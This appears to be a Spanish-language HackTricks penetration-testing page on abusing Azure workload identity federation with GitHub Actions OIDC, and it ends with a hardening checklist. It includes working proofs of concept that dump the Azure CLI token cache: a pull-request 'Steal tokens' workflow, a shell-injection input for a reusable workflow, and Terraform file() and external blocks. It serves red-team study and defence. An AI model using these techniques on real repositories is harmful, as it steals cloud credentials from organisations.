Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Visión general

GitHub Actions puede federarse con Azure Entra ID (anteriormente Azure AD) usando OpenID Connect (OIDC). Un workflow de GitHub solicita un GitHub ID token (JWT) de corta duración que codifica detalles sobre la ejecución. Azure valida este token contra un Federated Identity Credential (FIC) en un App Registration (service principal) y lo intercambia por Azure access tokens (MSAL cache, bearer tokens para Azure APIs).

Azure valida al menos:

  • iss: https://token.actions.githubusercontent.com
  • aud: api://AzureADTokenExchange (cuando se intercambia por Azure tokens)
  • sub: debe coincidir con el identificador Subject configurado en el FIC

The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange.

GitHub ID token quick PoC

name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0

Para forzar la audiencia de Azure en la solicitud de token:

OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")

Configuración de Azure (Workload Identity Federation)

  1. Crear App Registration (service principal) y otorgar el principio de menor privilegio (p. ej., Storage Blob Data Contributor en una cuenta de almacenamiento específica).

  2. Agregar credenciales de identidad federada:

  • Emisor: https://token.actions.githubusercontent.com
  • Audiencia: api://AzureADTokenExchange
  • Identificador de sujeto: estrechamente delimitado al contexto del workflow/run previsto (ver Scoping and risks abajo).
  1. Usar azure/login para intercambiar el GitHub ID token e iniciar sesión en el Azure CLI:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login

Ejemplo de intercambio manual (se muestra el alcance de Graph; ARM u otros recursos de forma similar):

POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default

Anatomía y personalización del subject (sub) de GitHub OIDC

Formato predeterminado de sub: repo:/:

Los valores de context incluyen:

  • environment:
  • pull_request (PR se activa cuando no está en un environment)
  • ref:refs/(heads|tags)/

Claims útiles que suelen estar presentes en el payload:

  • repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

Personaliza la composición del sub mediante la GitHub API para incluir claims adicionales y reducir el riesgo de colisiones:

gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'

Nota: Los dos puntos en los nombres de environment están codificados en URL (%3A), eliminando viejos trucos de delimiter‑injection contra el parsing de sub. Sin embargo, usar subjects no únicos (p.ej., solo environment:) sigue siendo inseguro.

Alcance y riesgos de los tipos de subject FIC

  • Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/
  • Riesgo: Si la Branch/Tag no está protegida, cualquier contributor puede push y obtener tokens.
  • Environment: sub=repo:/:environment:
  • Riesgo: Unprotected environments (no reviewers) permiten a contributors mint tokens.
  • Pull request: sub=repo:/:pull_request
  • Mayor riesgo: Cualquier collaborator puede abrir un PR y satisfacer el FIC.

PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):

name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token

Ubicaciones de archivos relacionadas y notas:

  • Linux/macOS: ~/.azure/msal_token_cache.json almacena tokens MSAL para sesiones de az CLI
  • Windows: msal_token_cache.bin en el perfil de usuario; protegido por DPAPI

Flujos de trabajo reutilizables y alcance de job_workflow_ref

Invocar un flujo de trabajo reutilizable agrega job_workflow_ref al token de ID de GitHub, por ejemplo:

ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

Ejemplo FIC para vincular tanto el caller repo como el reusable workflow:

sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>

Configura los claims en el repositorio caller para que tanto repo como job_workflow_ref estén presentes en sub:

PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}

Advertencia: Si enlazas solo job_workflow_ref en el FIC, un atacante podría crear un repo distinto en la misma org, ejecutar el mismo reusable workflow en la misma ref, satisfacer el FIC y mint tokens. Siempre incluye también el caller repo.

Vectores de ejecución de código que evaden las protecciones de job_workflow_ref

Incluso con job_workflow_ref correctamente acotado, cualquier dato caller‑controlled que llegue al shell sin comillas seguras puede provocar ejecución de código dentro del contexto del workflow protegido.

Ejemplo de reusable step vulnerable (interpolación sin comillas):

- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi

Entrada maliciosa del llamador para ejecutar comandos y exfiltrar la caché de tokens de Azure:

with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'

Terraform plan como una primitiva de ejecución en PRs

Trata terraform plan como ejecución de código. Durante el plan, Terraform puede:

  • Leer archivos arbitrarios mediante funciones como file()
  • Ejecutar comandos a través del external data source

Ejemplo para exfiltrate Azure token cache durante plan:

output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}

O usar external para ejecutar comandos arbitrarios:

data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}

Conceder FICs utilizables en planes desencadenados por PR expone tokens privilegiados y puede preparar un apply destructivo más adelante. Separe identidades para plan vs apply; nunca permita tokens privilegiados en contextos de PR no confiables.

Hardening checklist

  • Nunca use sub=…:pull_request para FICs sensibles
  • Proteja cualquier rama/etiqueta/entorno referenciado por FICs (branch protection, environment reviewers)
  • Prefiera FICs con ámbito tanto repo como job_workflow_ref para reusable workflows
  • Personalice el sub de GitHub OIDC para incluir claims únicos (p. ej., repo, job_workflow_ref, repository_owner)
  • Elimine la interpolación sin comillas de caller inputs en run steps; codifique/entrecomille de forma segura
  • Trate terraform plan como ejecución de código; restrinja o aisle identidades en contextos de PR
  • Implemente el principio de menor privilegio en App Registrations; separe identidades para plan vs apply
  • Fije actions y reusable workflows a commit SHAs (evite pins por branch/tag)

Manual testing tips

  • Solicite un GitHub ID token dentro del workflow e imprímalo en base64 para evitar masking
  • Decodifique el JWT para inspeccionar claims: iss, aud, sub, job_workflow_ref, repository, ref
  • Intercambie manualmente el ID token contra login.microsoftonline.com para confirmar la correspondencia de FIC y los scopes
  • Después de azure/login, lea ~/.azure/msal_token_cache.json para verificar la presencia del material del token

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks